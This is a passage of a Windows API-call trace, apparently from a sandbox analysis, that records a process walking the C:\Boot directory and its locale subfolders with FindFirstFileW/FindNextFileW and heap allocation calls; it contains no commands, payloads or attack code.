[0110.718] FindNextFileW (in: hFindFile=0x4250e00, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0110.718] FindNextFileW (in: hFindFile=0x4250e00, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 0 [0110.718] FindClose (in: hFindFile=0x4250e00 | out: hFindFile=0x4250e00) returned 1 [0110.720] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3c61240 | out: hHeap=0x5b0000) returned 1 [0110.721] FindNextFileW (in: hFindFile=0x4250c80, lpFindFileData=0x326fa7c | out: lpFindFileData=0x326fa7c) returned 1 [0110.721] FindNextFileW (in: hFindFile=0x4250c80, lpFindFileData=0x326fa7c | out: lpFindFileData=0x326fa7c) returned 1 [0110.721] FindNextFileW (in: hFindFile=0x4250c80, lpFindFileData=0x326fa7c | out: lpFindFileData=0x326fa7c) returned 1 [0110.721] FindNextFileW (in: hFindFile=0x4250c80, lpFindFileData=0x326fa7c | out: lpFindFileData=0x326fa7c) returned 1 [0110.722] FindNextFileW (in: hFindFile=0x4250c80, lpFindFileData=0x326fa7c | out: lpFindFileData=0x326fa7c) returned 1 [0110.722] FindNextFileW (in: hFindFile=0x4250c80, lpFindFileData=0x326fa7c | out: lpFindFileData=0x326fa7c) returned 1 [0110.722] FindNextFileW (in: hFindFile=0x4250c80, lpFindFileData=0x326fa7c | out: lpFindFileData=0x326fa7c) returned 1 [0110.726] FindNextFileW (in: hFindFile=0x4250c80, lpFindFileData=0x326fa7c | out: lpFindFileData=0x326fa7c) returned 1 [0110.726] FindNextFileW (in: hFindFile=0x4250c80, lpFindFileData=0x326fa7c | out: lpFindFileData=0x326fa7c) returned 1 [0110.726] FindNextFileW (in: hFindFile=0x4250c80, lpFindFileData=0x326fa7c | out: lpFindFileData=0x326fa7c) returned 1 [0110.726] FindNextFileW (in: hFindFile=0x4250c80, lpFindFileData=0x326fa7c | out: lpFindFileData=0x326fa7c) returned 1 [0110.726] FindNextFileW (in: hFindFile=0x4250c80, lpFindFileData=0x326fa7c | out: lpFindFileData=0x326fa7c) returned 1 [0110.726] FindNextFileW (in: hFindFile=0x4250c80, lpFindFileData=0x326fa7c | out: lpFindFileData=0x326fa7c) returned 1 [0110.727] FindNextFileW (in: hFindFile=0x4250c80, lpFindFileData=0x326fa7c | out: lpFindFileData=0x326fa7c) returned 1 [0110.727] FindNextFileW (in: hFindFile=0x4250c80, lpFindFileData=0x326fa7c | out: lpFindFileData=0x326fa7c) returned 1 [0110.727] FindNextFileW (in: hFindFile=0x4250c80, lpFindFileData=0x326fa7c | out: lpFindFileData=0x326fa7c) returned 1 [0110.727] FindNextFileW (in: hFindFile=0x4250c80, lpFindFileData=0x326fa7c | out: lpFindFileData=0x326fa7c) returned 1 [0110.727] FindNextFileW (in: hFindFile=0x4250c80, lpFindFileData=0x326fa7c | out: lpFindFileData=0x326fa7c) returned 1 [0110.727] FindNextFileW (in: hFindFile=0x4250c80, lpFindFileData=0x326fa7c | out: lpFindFileData=0x326fa7c) returned 1 [0110.727] FindNextFileW (in: hFindFile=0x4250c80, lpFindFileData=0x326fa7c | out: lpFindFileData=0x326fa7c) returned 1 [0110.727] FindNextFileW (in: hFindFile=0x4250c80, lpFindFileData=0x326fa7c | out: lpFindFileData=0x326fa7c) returned 1 [0110.728] FindNextFileW (in: hFindFile=0x4250c80, lpFindFileData=0x326fa7c | out: lpFindFileData=0x326fa7c) returned 1 [0110.728] FindNextFileW (in: hFindFile=0x4250c80, lpFindFileData=0x326fa7c | out: lpFindFileData=0x326fa7c) returned 1 [0110.728] FindNextFileW (in: hFindFile=0x4250c80, lpFindFileData=0x326fa7c | out: lpFindFileData=0x326fa7c) returned 1 [0110.728] FindNextFileW (in: hFindFile=0x4250c80, lpFindFileData=0x326fa7c | out: lpFindFileData=0x326fa7c) returned 0 [0110.728] FindClose (in: hFindFile=0x4250c80 | out: hFindFile=0x4250c80) returned 1 [0110.730] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3c20940 | out: hHeap=0x5b0000) returned 1 [0110.730] FindNextFileW (in: hFindFile=0x5c9698, lpFindFileData=0x326fcf8 | out: lpFindFileData=0x326fcf8) returned 1 [0110.730] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xfffe) returned 0x3c20940 [0110.730] FindFirstFileW (in: lpFileName="C:\\Boot\\*", lpFindFileData=0x326fa7c | out: lpFindFileData=0x326fa7c) returned 0x4250d00 [0110.744] FindNextFileW (in: hFindFile=0x4250d00, lpFindFileData=0x326fa7c | out: lpFindFileData=0x326fa7c) returned 1 [0110.744] FindNextFileW (in: hFindFile=0x4250d00, lpFindFileData=0x326fa7c | out: lpFindFileData=0x326fa7c) returned 1 [0110.744] FindNextFileW (in: hFindFile=0x4250d00, lpFindFileData=0x326fa7c | out: lpFindFileData=0x326fa7c) returned 1 [0110.745] FindNextFileW (in: hFindFile=0x4250d00, lpFindFileData=0x326fa7c | out: lpFindFileData=0x326fa7c) returned 1 [0110.745] FindNextFileW (in: hFindFile=0x4250d00, lpFindFileData=0x326fa7c | out: lpFindFileData=0x326fa7c) returned 1 [0110.745] FindNextFileW (in: hFindFile=0x4250d00, lpFindFileData=0x326fa7c | out: lpFindFileData=0x326fa7c) returned 1 [0110.745] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xfffe) returned 0x4261480 [0110.745] FindFirstFileW (in: lpFileName="C:\\Boot\\bg-BG\\*", lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 0x4250fc0 [0110.776] FindNextFileW (in: hFindFile=0x4250fc0, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0110.776] FindNextFileW (in: hFindFile=0x4250fc0, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0110.776] FindNextFileW (in: hFindFile=0x4250fc0, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 0 [0110.777] FindClose (in: hFindFile=0x4250fc0 | out: hFindFile=0x4250fc0) returned 1 [0110.777] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x4261480 | out: hHeap=0x5b0000) returned 1 [0110.777] FindNextFileW (in: hFindFile=0x4250d00, lpFindFileData=0x326fa7c | out: lpFindFileData=0x326fa7c) returned 1 [0110.777] FindNextFileW (in: hFindFile=0x4250d00, lpFindFileData=0x326fa7c | out: lpFindFileData=0x326fa7c) returned 1 [0110.778] FindNextFileW (in: hFindFile=0x4250d00, lpFindFileData=0x326fa7c | out: lpFindFileData=0x326fa7c) returned 1 [0110.778] FindNextFileW (in: hFindFile=0x4250d00, lpFindFileData=0x326fa7c | out: lpFindFileData=0x326fa7c) returned 1 [0110.778] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xfffe) returned 0x4261480 [0110.778] FindFirstFileW (in: lpFileName="C:\\Boot\\cs-CZ\\*", lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 0x42508c0 [0110.788] FindNextFileW (in: hFindFile=0x42508c0, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0110.788] FindNextFileW (in: hFindFile=0x42508c0, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0110.788] FindNextFileW (in: hFindFile=0x42508c0, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0110.788] FindNextFileW (in: hFindFile=0x42508c0, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 0 [0110.789] FindClose (in: hFindFile=0x42508c0 | out: hFindFile=0x42508c0) returned 1 [0110.789] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x4261480 | out: hHeap=0x5b0000) returned 1 [0110.789] FindNextFileW (in: hFindFile=0x4250d00, lpFindFileData=0x326fa7c | out: lpFindFileData=0x326fa7c) returned 1 [0110.789] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xfffe) returned 0x4261480 [0110.789] FindFirstFileW (in: lpFileName="C:\\Boot\\da-DK\\*", lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 0x4250dc0 [0110.790] FindNextFileW (in: hFindFile=0x4250dc0, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0110.790] FindNextFileW (in: hFindFile=0x4250dc0, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0110.790] FindNextFileW (in: hFindFile=0x4250dc0, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0110.790] FindNextFileW (in: hFindFile=0x4250dc0, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 0 [0110.792] FindClose (in: hFindFile=0x4250dc0 | out: hFindFile=0x4250dc0) returned 1 [0110.792] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x4261480 | out: hHeap=0x5b0000) returned 1 [0110.793] FindNextFileW (in: hFindFile=0x4250d00, lpFindFileData=0x326fa7c | out: lpFindFileData=0x326fa7c) returned 1 [0110.793] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xfffe) returned 0x4261480 [0110.793] FindFirstFileW (in: lpFileName="C:\\Boot\\de-DE\\*", lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 0x4250dc0 [0110.793] FindNextFileW (in: hFindFile=0x4250dc0, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0110.793] FindNextFileW (in: hFindFile=0x4250dc0, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0110.793] FindNextFileW (in: hFindFile=0x4250dc0, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0110.793] FindNextFileW (in: hFindFile=0x4250dc0, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 0 [0110.793] FindClose (in: hFindFile=0x4250dc0 | out: hFindFile=0x4250dc0) returned 1 [0110.793] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x4261480 | out: hHeap=0x5b0000) returned 1 [0110.793] FindNextFileW (in: hFindFile=0x4250d00, lpFindFileData=0x326fa7c | out: lpFindFileData=0x326fa7c) returned 1 [0110.793] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xfffe) returned 0x4261480 [0110.793] FindFirstFileW (in: lpFileName="C:\\Boot\\el-GR\\*", lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 0x4250e00 [0110.794] FindNextFileW (in: hFindFile=0x4250e00, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0110.794] FindNextFileW (in: hFindFile=0x4250e00, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0110.794] FindNextFileW (in: hFindFile=0x4250e00, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0110.794] FindNextFileW (in: hFindFile=0x4250e00, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 0 [0110.795] FindClose (in: hFindFile=0x4250e00 | out: hFindFile=0x4250e00) returned 1 [0110.795] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x4261480 | out: hHeap=0x5b0000) returned 1 [0110.795] FindNextFileW (in: hFindFile=0x4250d00, lpFindFileData=0x326fa7c | out: lpFindFileData=0x326fa7c) returned 1 [0110.795] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xfffe) returned 0x4261480 [0110.795] FindFirstFileW (in: lpFileName="C:\\Boot\\en-GB\\*", lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 0x4251000 [0110.796] FindNextFileW (in: hFindFile=0x4251000, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0110.796] FindNextFileW (in: hFindFile=0x4251000, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0110.796] FindNextFileW (in: hFindFile=0x4251000, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 0 [0110.797] FindClose (in: hFindFile=0x4251000 | out: hFindFile=0x4251000) returned 1 [0110.800] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x4261480 | out: hHeap=0x5b0000) returned 1 [0110.800] FindNextFileW (in: hFindFile=0x4250d00, lpFindFileData=0x326fa7c | out: lpFindFileData=0x326fa7c) returned 1 [0110.800] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xfffe) returned 0x4261480 [0110.800] FindFirstFileW (in: lpFileName="C:\\Boot\\en-US\\*", lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 0x4250b40 [0110.800] FindNextFileW (in: hFindFile=0x4250b40, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0110.800] FindNextFileW (in: hFindFile=0x4250b40, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0110.800] FindNextFileW (in: hFindFile=0x4250b40, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0110.800] FindNextFileW (in: hFindFile=0x4250b40, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 0 [0110.800] FindClose (in: hFindFile=0x4250b40 | out: hFindFile=0x4250b40) returned 1 [0110.800] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x4261480 | out: hHeap=0x5b0000) returned 1 [0110.800] FindNextFileW (in: hFindFile=0x4250d00, lpFindFileData=0x326fa7c | out: lpFindFileData=0x326fa7c) returned 1 [0110.800] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xfffe) returned 0x4261480 [0110.800] FindFirstFileW (in: lpFileName="C:\\Boot\\es-ES\\*", lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 0x4250940 [0110.838] FindNextFileW (in: hFindFile=0x4250940, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0110.838] FindNextFileW (in: hFindFile=0x4250940, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0110.838] FindNextFileW (in: hFindFile=0x4250940, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0110.838] FindNextFileW (in: hFindFile=0x4250940, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 0 [0110.839] FindClose (in: hFindFile=0x4250940 | out: hFindFile=0x4250940) returned 1 [0110.839] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x4261480 | out: hHeap=0x5b0000) returned 1 [0110.839] FindNextFileW (in: hFindFile=0x4250d00, lpFindFileData=0x326fa7c | out: lpFindFileData=0x326fa7c) returned 1 [0110.839] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xfffe) returned 0x4261480 [0110.839] FindFirstFileW (in: lpFileName="C:\\Boot\\es-MX\\*", lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 0x4250a00 [0110.840] FindNextFileW (in: hFindFile=0x4250a00, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0110.840] FindNextFileW (in: hFindFile=0x4250a00, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0110.840] FindNextFileW (in: hFindFile=0x4250a00, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 0 [0110.841] FindClose (in: hFindFile=0x4250a00 | out: hFindFile=0x4250a00) returned 1 [0110.841] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x4261480 | out: hHeap=0x5b0000) returned 1 [0110.841] FindNextFileW (in: hFindFile=0x4250d00, lpFindFileData=0x326fa7c | out: lpFindFileData=0x326fa7c) returned 1 [0110.841] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xfffe) returned 0x4261480 [0110.841] FindFirstFileW (in: lpFileName="C:\\Boot\\et-EE\\*", lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 0x4250f00 [0110.841] FindNextFileW (in: hFindFile=0x4250f00, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0110.841] FindNextFileW (in: hFindFile=0x4250f00, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0110.841] FindNextFileW (in: hFindFile=0x4250f00, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 0 [0110.841] FindClose (in: hFindFile=0x4250f00 | out: hFindFile=0x4250f00) returned 1 [0110.842] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x4261480 | out: hHeap=0x5b0000) returned 1 [0110.842] FindNextFileW (in: hFindFile=0x4250d00, lpFindFileData=0x326fa7c | out: lpFindFileData=0x326fa7c) returned 1 [0110.842] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xfffe) returned 0x4261480 [0110.842] FindFirstFileW (in: lpFileName="C:\\Boot\\fi-FI\\*", lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 0x4250f40 [0110.842] FindNextFileW (in: hFindFile=0x4250f40, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0110.842] FindNextFileW (in: hFindFile=0x4250f40, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0110.843] FindNextFileW (in: hFindFile=0x4250f40, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0110.843] FindNextFileW (in: hFindFile=0x4250f40, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 0 [0110.843] FindClose (in: hFindFile=0x4250f40 | out: hFindFile=0x4250f40) returned 1 [0110.843] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x4261480 | out: hHeap=0x5b0000) returned 1 [0110.843] FindNextFileW (in: hFindFile=0x4250d00, lpFindFileData=0x326fa7c | out: lpFindFileData=0x326fa7c) returned 1 [0110.844] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xfffe) returned 0x4261480 [0110.844] FindFirstFileW (in: lpFileName="C:\\Boot\\Fonts\\*", lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 0x4250f40 [0110.960] FindNextFileW (in: hFindFile=0x4250f40, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0110.960] FindNextFileW (in: hFindFile=0x4250f40, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0110.960] FindNextFileW (in: hFindFile=0x4250f40, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0110.960] FindNextFileW (in: hFindFile=0x4250f40, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0110.960] FindNextFileW (in: hFindFile=0x4250f40, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0110.960] FindNextFileW (in: hFindFile=0x4250f40, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0110.960] FindNextFileW (in: hFindFile=0x4250f40, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0110.960] FindNextFileW (in: hFindFile=0x4250f40, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0110.960] FindNextFileW (in: hFindFile=0x4250f40, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0110.961] FindNextFileW (in: hFindFile=0x4250f40, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0110.961] FindNextFileW (in: hFindFile=0x4250f40, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0110.961] FindNextFileW (in: hFindFile=0x4250f40, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0110.961] FindNextFileW (in: hFindFile=0x4250f40, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0110.961] FindNextFileW (in: hFindFile=0x4250f40, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0110.961] FindNextFileW (in: hFindFile=0x4250f40, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0110.961] FindNextFileW (in: hFindFile=0x4250f40, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0110.961] FindNextFileW (in: hFindFile=0x4250f40, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0110.961] FindNextFileW (in: hFindFile=0x4250f40, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 0 [0110.961] FindClose (in: hFindFile=0x4250f40 | out: hFindFile=0x4250f40) returned 1 [0110.987] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x4261480 | out: hHeap=0x5b0000) returned 1 [0110.987] FindNextFileW (in: hFindFile=0x4250d00, lpFindFileData=0x326fa7c | out: lpFindFileData=0x326fa7c) returned 1 [0110.987] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xfffe) returned 0x4261480 [0110.987] FindFirstFileW (in: lpFileName="C:\\Boot\\fr-CA\\*", lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 0x4250c80 [0111.132] FindNextFileW (in: hFindFile=0x4250c80, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0111.132] FindNextFileW (in: hFindFile=0x4250c80, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0111.132] FindNextFileW (in: hFindFile=0x4250c80, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 0 [0111.132] FindClose (in: hFindFile=0x4250c80 | out: hFindFile=0x4250c80) returned 1 [0111.132] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x4261480 | out: hHeap=0x5b0000) returned 1 [0111.132] FindNextFileW (in: hFindFile=0x4250d00, lpFindFileData=0x326fa7c | out: lpFindFileData=0x326fa7c) returned 1 [0111.132] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xfffe) returned 0x4261480 [0111.132] FindFirstFileW (in: lpFileName="C:\\Boot\\fr-FR\\*", lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 0x4250f00 [0111.133] FindNextFileW (in: hFindFile=0x4250f00, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0111.133] FindNextFileW (in: hFindFile=0x4250f00, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0111.133] FindNextFileW (in: hFindFile=0x4250f00, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0111.133] FindNextFileW (in: hFindFile=0x4250f00, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 0 [0111.133] FindClose (in: hFindFile=0x4250f00 | out: hFindFile=0x4250f00) returned 1 [0111.133] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x4261480 | out: hHeap=0x5b0000) returned 1 [0111.133] FindNextFileW (in: hFindFile=0x4250d00, lpFindFileData=0x326fa7c | out: lpFindFileData=0x326fa7c) returned 1 [0111.133] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xfffe) returned 0x4261480 [0111.133] FindFirstFileW (in: lpFileName="C:\\Boot\\hr-HR\\*", lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 0x42508c0 [0111.133] FindNextFileW (in: hFindFile=0x42508c0, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0111.133] FindNextFileW (in: hFindFile=0x42508c0, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0111.133] FindNextFileW (in: hFindFile=0x42508c0, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 0 [0111.133] FindClose (in: hFindFile=0x42508c0 | out: hFindFile=0x42508c0) returned 1 [0111.134] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x4261480 | out: hHeap=0x5b0000) returned 1 [0111.134] FindNextFileW (in: hFindFile=0x4250d00, lpFindFileData=0x326fa7c | out: lpFindFileData=0x326fa7c) returned 1 [0111.134] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xfffe) returned 0x4261480 [0111.134] FindFirstFileW (in: lpFileName="C:\\Boot\\hu-HU\\*", lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 0x4250c40 [0111.134] FindNextFileW (in: hFindFile=0x4250c40, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0111.134] FindNextFileW (in: hFindFile=0x4250c40, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0111.134] FindNextFileW (in: hFindFile=0x4250c40, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0111.134] FindNextFileW (in: hFindFile=0x4250c40, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 0 [0111.134] FindClose (in: hFindFile=0x4250c40 | out: hFindFile=0x4250c40) returned 1 [0111.134] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x4261480 | out: hHeap=0x5b0000) returned 1 [0111.134] FindNextFileW (in: hFindFile=0x4250d00, lpFindFileData=0x326fa7c | out: lpFindFileData=0x326fa7c) returned 1 [0111.134] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xfffe) returned 0x4261480 [0111.134] FindFirstFileW (in: lpFileName="C:\\Boot\\it-IT\\*", lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 0x4250980 [0111.135] FindNextFileW (in: hFindFile=0x4250980, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0111.135] FindNextFileW (in: hFindFile=0x4250980, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0111.143] FindNextFileW (in: hFindFile=0x4250980, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0111.143] FindNextFileW (in: hFindFile=0x4250980, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 0 [0111.144] FindClose (in: hFindFile=0x4250980 | out: hFindFile=0x4250980) returned 1 [0111.144] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x4261480 | out: hHeap=0x5b0000) returned 1 [0111.144] FindNextFileW (in: hFindFile=0x4250d00, lpFindFileData=0x326fa7c | out: lpFindFileData=0x326fa7c) returned 1 [0111.144] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xfffe) returned 0x3c61240 [0111.145] FindFirstFileW (in: lpFileName="C:\\Boot\\ja-JP\\*", lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 0x4250c00 [0111.145] FindNextFileW (in: hFindFile=0x4250c00, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0111.145] FindNextFileW (in: hFindFile=0x4250c00, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0111.145] FindNextFileW (in: hFindFile=0x4250c00, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0111.145] FindNextFileW (in: hFindFile=0x4250c00, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 0 [0111.145] FindClose (in: hFindFile=0x4250c00 | out: hFindFile=0x4250c00) returned 1 [0111.146] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3c61240 | out: hHeap=0x5b0000) returned 1 [0111.146] FindNextFileW (in: hFindFile=0x4250d00, lpFindFileData=0x326fa7c | out: lpFindFileData=0x326fa7c) returned 1 [0111.146] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xfffe) returned 0x3c61240 [0111.146] FindFirstFileW (in: lpFileName="C:\\Boot\\ko-KR\\*", lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 0x4250c40 [0111.146] FindNextFileW (in: hFindFile=0x4250c40, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0111.146] FindNextFileW (in: hFindFile=0x4250c40, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0111.146] FindNextFileW (in: hFindFile=0x4250c40, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0111.146] FindNextFileW (in: hFindFile=0x4250c40, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 0 [0111.146] FindClose (in: hFindFile=0x4250c40 | out: hFindFile=0x4250c40) returned 1 [0111.146] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3c61240 | out: hHeap=0x5b0000) returned 1 [0111.146] FindNextFileW (in: hFindFile=0x4250d00, lpFindFileData=0x326fa7c | out: lpFindFileData=0x326fa7c) returned 1 [0111.146] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xfffe) returned 0x3c61240 [0111.146] FindFirstFileW (in: lpFileName="C:\\Boot\\lt-LT\\*", lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 0x4250e40 [0111.147] FindNextFileW (in: hFindFile=0x4250e40, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0111.147] FindNextFileW (in: hFindFile=0x4250e40, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0111.147] FindNextFileW (in: hFindFile=0x4250e40, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 0 [0111.147] FindClose (in: hFindFile=0x4250e40 | out: hFindFile=0x4250e40) returned 1 [0111.147] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3c61240 | out: hHeap=0x5b0000) returned 1 [0111.147] FindNextFileW (in: hFindFile=0x4250d00, lpFindFileData=0x326fa7c | out: lpFindFileData=0x326fa7c) returned 1 [0111.147] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xfffe) returned 